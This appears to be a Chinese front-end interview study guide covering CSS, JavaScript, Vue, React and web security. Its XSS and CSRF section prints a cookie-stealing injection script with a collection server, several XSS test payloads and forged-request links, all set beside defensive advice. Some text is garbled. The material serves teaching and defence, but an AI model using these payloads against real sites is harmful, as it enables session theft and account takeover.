目录介绍：

• 1、整理涵盖很全很广的前端知识点
• 2、前端安全方面有没有了解？xss和csrf如何攻防
• 3、xss注入漏洞产生的原因？xss注入过程步骤是什么？防范xss注入的方法有哪些
• 4、如何测试XSS漏洞

整理涵盖很全很广的前端知识点

HTML、CSS相关

html5新特性、语义化

浏览器渲染机制、重绘、重排

网页生成过程：

重排(也称回流): 当 DOM 的变化影响了元素的几何信息( DOM 对象的位置和尺寸大小)，浏览器需要重新计算元素的几何属性，将其安放在界面中的正确位置，这个过程叫做重排。 触发：

重绘： 当一个元素的外观发生改变，但没有改变布局,重新把元素外观绘制出来的过程，叫做重绘。 触发：

重排优化建议：

transform 不重绘，不回流 是因为 transform 属于合成属性，对合成属性进行 transition/animate 动画时，将会创建一个合成层。这使得动画元素在一个独立的层中进行渲染。当元素的内容没有发生改变，就没有必要进行重绘。浏览器会通过重新复合来创建动画帧。

css盒子模型

所有 HTML 元素可以看作盒子，在CSS中， "box model" 这一术语是用来设计和布局时使用。 CSS 盒模型本质上是一个盒子，封装周围的 HTML 元素，它包括：边距，边框，填充，和实际内容。 盒模型允许我们在其它元素和周围元素边框之间的空间放置元素。

css样式优先级

!importantstyleidclass

什么是BFC？BFC的布局规则是什么？如何创建BFC？BFC应用？

BFC 是 Block Formatting Context 的缩写，即块格式化上下文。 BFC 是CSS布局的一个概念，是一个环境，里面的元素不会影响外面的元素。 布局规则：Box是CSS布局的对象和基本单位，页面是由若干个Box组成的。元素的类型和display属性，决定了这个Box的类型。不同类型的Box会参与不同的 Formatting Context 。 创建：浮动元素 display：inline-block position:absolute 应用: 1.分属于不同的 BFC 时,可以防止 margin 重叠 2.清除内部浮动 3.自适应多栏布局

DOM、BOM对象

BOM（Browser Object Model） 是指浏览器对象模型，可以对浏览器窗口进行访问和操作。使用 BOM，开发者可以移动窗口、改变状态栏中的文本以及执行其他与页面内容不直接相关的动作。 使 JavaScript 有能力与浏览器"对话"。 DOM （Document Object Model） 是指文档对象模型，通过它，可以访问 HTML 文档的所有元素。 DOM 是 W3C （万维网联盟）的标准。 DOM 定义了访问 HTML 和 XML 文档的标准： "W3C 文档对象模型（DOM）是中立于平台和语言的接口，它允许程序和脚本动态地访问和更新文档的内容、结构和样式。" W3C DOM 标准被分为 3 个不同的部分：

什么是 XML DOM ？ XML DOM 定义了所有 XML 元素的对象和属性，以及访问它们的方法。 什么是 HTML DOM？ HTML DOM 定义了所有 HTML 元素的对象和属性，以及访问它们的方法。

JS相关

js数据类型、typeof、instanceof、类型转换

闭包(高频)

闭包是指有权访问另一个函数作用域中的变量的函数 ——《JavaScript高级程序设计》

当函数可以记住并访问所在的词法作用域时，就产生了闭包，

即使函数是在当前词法作用域之外执行 ——《你不知道的JavaScript》

原型、原型链(高频)

原型: 对象中固有的 __proto__ 属性，该属性指向对象的 prototype 原型属性。

原型链: 当我们访问一个对象的属性时，如果这个对象内部不存在这个属性，那么它就会去它的原型对象里找这个属性，这个原型对象又会有自己的原型，于是就这样一直找下去，也就是原型链的概念。原型链的尽头一般来说都是 Object.prototype 所以这就是我们新建的对象为什么能够使用 toString() 等方法的原因。

特点: JavaScript 对象是通过引用来传递的，我们创建的每个新对象实体中并没有一份属于自己的原型副本。当我们修改原型时，与之相关的对象也会继承这一改变。

this指向、new关键字

this 对象是是执行上下文中的一个属性，它指向最后一次调用这个方法的对象，在全局函数中， this 等于 window ，而当函数被作为某个对象调用时，this等于那个对象。 在实际开发中， this 的指向可以通过四种调用模式来判断。

new

作用域、作用域链、变量提升

继承(含es6)、多种继承方式

（1）第一种是以 原型链的方式来实现继承 ，但是这种实现方式存在的缺点是，在包含有引用类型的数据时，会被所有的实例对象所共享，容易造成修改的混乱。还有就是在创建子类型的时候不能向超类型传递参数。

（2）第二种方式是使用 借用构造函数 的方式，这种方式是通过在子类型的函数中调用超类型的构造函数来实现的，这一种方法解决了不能向超类型传递参数的缺点，但是它存在的一个问题就是无法实现函数方法的复用，并且超类型原型定义的方法子类型也没有办法访问到。

（3）第三种方式是 组合继承 ，组合继承是将原型链和借用构造函数组合起来使用的一种方式。通过借用构造函数的方式来实现类型的属性的继承，通过将子类型的原型设置为超类型的实例来实现方法的继承。这种方式解决了上面的两种模式单独使用时的问题，但是由于我们是以超类型的实例来作为子类型的原型，所以调用了两次超类的构造函数，造成了子类型的原型中多了很多不必要的属性。

（4）第四种方式是 原型式继承 ，原型式继承的主要思路就是基于已有的对象来创建新的对象，实现的原理是，向函数中传入一个对象，然后返回一个以这个对象为原型的对象。这种继承的思路主要不是为了实现创造一种新的类型，只是对某个对象实现一种简单继承，ES5 中定义的 Object.create() 方法就是原型式继承的实现。缺点与原型链方式相同。

（5）第五种方式是 寄生式继承 ，寄生式继承的思路是创建一个用于封装继承过程的函数，通过传入一个对象，然后复制一个对象的副本，然后对象进行扩展，最后返回这个对象。这个扩展的过程就可以理解是一种继承。这种继承的优点就是对一个简单对象实现继承，如果这个对象不是我们的自定义类型时。缺点是没有办法实现函数的复用。

（6）第六种方式是 寄生式组合继承 ，组合继承的缺点就是使用超类型的实例做为子类型的原型，导致添加了不必要的原型属性。寄生式组合继承的方式是使用超类型的原型的副本来作为子类型的原型，这样就避免了创建不必要的属性。

EventLoop

JS 是单线程的，为了防止一个函数执行时间过长阻塞后面的代码，所以会先将同步代码压入执行栈中，依次执行，将异步代码推入异步队列，异步队列又分为宏任务队列和微任务队列，因为宏任务队列的执行时间较长，所以微任务队列要优先于宏任务队列。微任务队列的代表就是， Promise.then ， MutationObserver ，宏任务的话就是 setImmediate setTimeout setInterval

原生ajax

ajax 是一种异步通信的方法,从服务端获取数据,达到局部刷新页面的效果。 过程：

事件冒泡、捕获(委托)

event.stopPropagation() 或者 ie下的方法 event.cancelBubble = true; //阻止事件冒泡

ES6

Vue

简述MVVM

MVVM 是 Model-View-ViewModel 缩写，也就是把 MVC 中的 Controller 演变成 ViewModel。Model 层代表数据模型， View 代表UI组件， ViewModel 是 View 和 Model 层的桥梁，数据会绑定到 viewModel 层并自动将数据渲染到页面中，视图变化的时候会通知 viewModel 层更新数据。

谈谈对vue生命周期的理解？

每个 Vue 实例在创建时都会经过一系列的初始化过程， vue 的生命周期钩子，就是说在达到某一阶段或条件时去触发的函数，目的就是为了完成一些动作或者事件

computed与watch

watch 属性监听 是一个对象，键是需要观察的属性，值是对应回调函数，主要用来监听某些特定数据的变化，从而进行某些具体的业务逻辑操作,监听属性的变化，需要在数据变化时执行异步或开销较大的操作时使用

computed 计算属性 属性的结果会被缓存，当 computed 中的函数所依赖的属性没有发生改变的时候，那么调用当前函数的时候结果会从缓存中读取。除非依赖的响应式属性变化时才会重新计算，主要当做属性来使用 computed 中的函数必须用 return 返回最终的结果 computed 更高效，优先使用

使用场景 computed ：当一个属性受多个属性影响的时候使用，例：购物车商品结算功能 watch ：当一条数据影响多条数据的时候使用，例：搜索数据

v-for中key的作用

vue组件的通信方式

父子组件通信

父-子 props ，子-父 $on、$emit` 获取父子组件实例 parent、 parent 、children Ref 获取实例的方式调用组件的属性或者方法 Provide、inject` 官方不推荐使用，但是写组件库时很常用

兄弟组件通信

Event Bus 实现跨组件通信 Vue.prototype.$bus = new Vue() Vuex

跨级组件通信

$attrs、$listeners Provide、inject

常用指令

双向绑定实现原理

当一个 Vue 实例创建时，Vue会遍历data选项的属性，用 Object.defineProperty 将它们转为 getter/setter并且在内部追踪相关依赖，在属性被访问和修改时通知变化。每个组件实例都有相应的 watcher 程序实例，它会在组件渲染的过程中把属性记录为依赖，之后当依赖项的 setter 被调用时，会通知 watcher重新计算，从而致使它关联的组件得以更新。

v-model的实现以及它的实现原理吗？

nextTick的实现

vnode的理解，compiler和patch的过程

new Vue后整个的流程

思考：为什么先注入再提供呢？？

答：1、首先来自祖辈的数据要和当前实例的data,等判重，相结合，所以注入数据的initInjections一定要在 InitState 的上面。2. 从上面注入进来的东西在当前组件中转了一下又提供给后代了，所以注入数据也一定要在上面。

vm.[Math Processing Error]mount(vm.mount(vm.options.el) ：挂载实例。

keep-alive的实现

作用：实现组件缓存

钩子函数：

原理： Vue.js 内部将 DOM 节点抽象成了一个个的 VNode 节点， keep-alive 组件的缓存也是基于 VNode 节点的而不是直接存储 DOM 结构。它将满足条件 （pruneCache与pruneCache） 的组件在 cache 对象中缓存起来，在需要重新渲染的时候再将 vnode 节点从 cache 对象中取出并渲染。

配置属性：

include 字符串或正则表达式。只有名称匹配的组件会被缓存

exclude 字符串或正则表达式。任何名称匹配的组件都不会被缓存

max 数字、最多可以缓存多少组件实例

vuex、vue-router实现原理

vuex 是一个专门为vue.js应用程序开发的状态管理库。 核心概念：

你怎么理解Vue中的diff算法?

在js中,渲染真实 DOM 的开销是非常大的, 比如我们修改了某个数据,如果直接渲染到真实 DOM , 会引起整个 dom 树的重绘和重排。那么有没有可能实现只更新我们修改的那一小块dom而不要更新整个 dom 呢？此时我们就需要先根据真实 dom 生成虚拟 dom ， 当虚拟 dom 某个节点的数据改变后会生成有一个新的 Vnode , 然后新的 Vnode 和旧的 Vnode 作比较，发现有不一样的地方就直接修改在真实DOM上，然后使旧的 Vnode 的值为新的 Vnode 。

diff 的过程就是调用 patch 函数，比较新旧节点，一边比较一边给真实的 DOM 打补丁。在采取 diff 算法比较新旧节点的时候，比较只会在同层级进行。 在 patch 方法中，首先进行树级别的比较 new Vnode 不存在就删除 old Vnode old Vnode 不存在就增加新的 Vnode 都存在就执行diff更新 当确定需要执行diff算法时，比较两个 Vnode ，包括三种类型操作：属性更新，文本更新，子节点更新 新老节点均有子节点，则对子节点进行 diff 操作，调用 updatechidren 如果老节点没有子节点而新节点有子节点，先清空老节点的文本内容，然后为其新增子节点 如果新节点没有子节点，而老节点有子节点的时候，则移除该节点的所有子节点 老新老节点都没有子节点的时候，进行文本的替换

updateChildren 将 Vnode 的子节点Vch和oldVnode的子节点oldCh提取出来。 oldCh和vCh 各有两个头尾的变量 StartIdx和EndIdx ，它们的2个变量相互比较，一共有4种比较方式。如果4种比较都没匹配，如果设置了 key ，就会用 key 进行比较，在比较的过程中，变量会往中间靠，一旦 StartIdxEndIdx 表明 oldCh和vCh 至少有一个已经遍历完了，就会结束比较。

你都做过哪些Vue的性能优化？

你知道Vue3有哪些新特性吗？它们会带来什么影响？

更小巧、更快速 支持自定义渲染器 支持摇树优化：一种在打包时去除无用代码的优化手段 支持Fragments和跨组件渲染

模板语法99%保持不变 原生支持基于class的组件，并且无需借助任何编译及各种stage阶段的特性 在设计时也考虑TypeScript的类型推断特性 重写虚拟DOM 可以期待更多的编译时提示来减少运行时的开销 优化插槽生成 可以单独渲染父组件和子组件 静态树提升 降低渲染成本 基于Proxy的观察者机制 节省内存开销

检测机制 更加全面、精准、高效,更具可调试式的响应跟踪

实现双向绑定 Proxy 与 Object.defineProperty 相比优劣如何?

React

1、react中key的作用，有key没key有什么区别，比较同一层级节点什么意思？

2、你对虚拟dom和diff算法的理解，实现render函数

虚拟DOM 本质上是 JavaScript 对象,是对 真实DOM 的抽象表现。 状态变更时，记录新树和旧树的差异 最后把差异更新到真正的 dom 中 render函数:

3、React组件之间通信方式？

Context 提供了一个无需为每层组件手动添加 props ，就能在组件树间进行数据传递的方法.如果你只是想避免层层传递一些属性，组件组合（ component composition ）有时候是一个比 context 更好的解决方案。 5. 组件组合缺点：会使高层组件变得复杂

4、如何解析jsx

5、生命周期都有哪几种，分别是在什么阶段做哪些事情？为什么要废弃一些生命周期？

componentWillMount、componentWillReceiveProps、componentWillUpdate在16版本被废弃，在17版本将被删除，需要使用UNSAVE_前缀使用，目的是向下兼容。

6、关于react的优化方法

使用return null而不是CSS的display:none来控制节点的显示隐藏。保证同一时间页面的DOM节点尽可能的少。

不要使用数组下标作为key 利用 shouldComponentUpdate 和 PureComponent 避免过多 render function ; render 里面尽量减少新建变量和bind函数，传递参数是尽量减少传递参数的数量。 尽量将 props 和 state 扁平化，只传递 component 需要的 props （传得太多，或者层次传得太深，都会加重 shouldComponentUpdate 里面的数据比较负担），慎将 component 当作 props 传入

使用 babel-plugin-import 优化业务组件的引入，实现按需加载 使用 SplitChunksPlugin 拆分公共代码 使用动态 import ，懒加载 React 组件

7、绑定this的几种方式

8、对fiber的理解

9、setState是同步还是异步的

10、Redux、React-Redux

Redux的实现流程

用户页面行为触发一个 Action ，然后 Store 调用 Reducer ，并且传入两个参数：当前 State 和收到的 Action 。 Reducer 会返回新的 State 。每当 state 更新之后， view 会根据 state 触发重新渲染。

React-Redux:

Provider ：从最外部封装了整个应用，并向 connect 模块传递 store 。 Connect ：

11、对高阶组件的理解

高阶组件是参数为组件，返回值为新组件的函数。 HOC 是纯函数，没有副作用。 HOC 在 React 的第三方库中很常见，例如 Redux 的 connect 组件。

高阶组件的作用：

12、可以用哪些方式创建 React 组件？

React.createClass()、ES6 class 和无状态函数

13、 React 元素与组件的区别？

组件是由元素构成的。元素数据结构是普通对象，而组件数据结构是类或纯函数。

Vue与React对比？

数据流：

react 主张函数式编程，所以推崇纯组件，数据不可变，单向数据流，

vue 的思想是响应式的，也就是基于是数据可变的，通过对每一个属性建立Watcher来监听，当属性变化的时候，响应式的更新对应的虚拟dom。

监听数据变化实现原理 ：

组件通信的区别：jsx和.vue模板。

性能优化

vuex 和 redux 之间的区别？

从实现原理上来说，最大的区别是两点：

Redux 使用的是不可变数据，而 Vuex 的数据是可变的。 Redux 每次都是用新的 state 替换旧的 state ，而 Vuex 是直接修改

Redux 在检测数据变化的时候，是通过 diff 的方式比较差异的，而 Vuex 其实和Vue的原理一样，是通过 getter/setter 来比较的(如果看 Vuex 源码会知道，其实他内部直接创建一个 Vue 实例用来跟踪数据变化)

浏览器从输入url到渲染页面，发生了什么？

网络安全、HTTP协议

TCP UDP 区别

Http和Https区别（高频）

GET和POST区别（高频）

理解xss，csrf，ddos攻击原理以及避免方式

XSS ( Cross-Site Scripting ， 跨站脚本攻击 )是一种代码注入攻击。攻击者在目标网站上注入恶意代码，当被攻击者登陆网站时就会执行这些恶意代码，这些脚本可以读取 cookie，session tokens ，或者其它敏感的网站信息，对用户进行钓鱼欺诈，甚至发起蠕虫攻击等。

CSRF （ Cross-site request forgery ） 跨站请求伪造 ：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。

XSS避免方式：

CSRF 避免方式：

DDoS 又叫分布式拒绝服务，全称 Distributed Denial of Service ，其原理就是利用大量的请求造成资源过载，导致服务不可用。

前端安全方面有没有了解？xss和csrf如何攻防

在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。

XSS：脚本中的不速之客

XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。

正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。

真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。

现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。

CSRF：冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。

严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。

例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：

标题content=内容

那么，我只需要在论坛中发一帖，包含一链接：

我是脑残content=哈哈

只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。

比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。

首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：

虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。

第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。

总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。

xss注入漏洞产生的原因？xss注入过程步骤是什么？防范xss注入的方法有哪些

对于的用户输入中出现XSS漏洞的问题，主要是由于开发人员对XSS了解不足，安全的意识不够造成的。现在让我们来普及一下XSS的一些常识，以后在开发的时候，每当有用户输入的内容时，都要加倍小心。请记住两条原则：过滤输入和转义输出。

一、什么是XSS

XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常呼略其危害性。

在WEB2.0时代，强调的是互动，使得用户输入信息的机会大增，在这个情况下，我们作为开发者，在开发的时候，要提高警惕。

二、XSS攻击的主要途径

XSS攻击方法只是利用HTML的属性，作各种的尝试，找出注入的方法。现在对三种主要方式进行分析。

第一种：对普通的用户输入，页面原样内容输出。

打开(限公司IP)，输 入：scriptalert(‘xss’)/script， JS脚本顺利执行。当攻击者找到这种方法后，就可以传播这种链接格式的链接 （）如：http: //go.ent.163.com/goproducttest/test.jsp?key=scriptalert(‘xss’) lt;/script，并对JSCODE做适当伪装，如：

%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其 它用户当点此链接的时候，JS就运行了，造成的后果会很严重，如跳去一个有木马的页面、取得登陆用户的COOKIE等。

第二种：在代码区里有用户输入的内容

原则就是，代码区中，绝对不应含有用户输入的东西。

第三种：允许用户输入HTML标签的页面。

用户可以提交一些自定义的HTML代码，这种情况是最危险的。因为，IE浏览器默认采用的是UNICODE编码，HTML编码可以用ASCII方式来写，又可以使用”/”连接16进制字符串来写，使得过滤变得异常复杂，如下面的四个例子，都可以在IE中运行。

1，直接使用JS脚本。

img src=”javascript:alert(‘xss’)” /

2，对JS脚本进行转码。

img src=”javascript:alert(‘xss’)” /

3，利用标签的触发条件插入代码并进行转码。

img onerror=”alert(‘xss’)” /

4，使用16进制来写(可以在傲游中运行)

img STYLE=”background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″

以上写法等于img STYLE=”background-image: url(javascript:alert(‘XSS’))”

三、XSS攻击解决办法

请记住两条原则：过滤输入和转义输出。

具体执行的方式有以下几点：

第一、在输入方面对所有用户提交内容进行可靠的输入验证，提交内容包括URL、查询关键字、http头、post数据等

第二、在输出方面，在用户输内容中使用XMP标签。标签内的内容不会解释，直接显示。

第三、严格执行字符输入字数控制。

四、在脚本执行区中，应绝无用户输入。

如何测试XSS漏洞

XSS跨站漏洞分为大致三种：储存型XSS，反射型XSS，和DOM型XSS，一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。

储存型XSS：

一般是构造一个比如说"scriptalert("XSS")/script"的JS的弹窗代码进行测试，看是否提交后在页面弹窗，这种储存型XSS是被写入到页面当中的，如果管理员不处理，那么将永久存在，这种XSS攻击者可以通过留言等提交方式，把恶意代码植入到服务器网站上， 一般用于盗取COOKIE获取管理员的信息和权限。

反射型XSS：

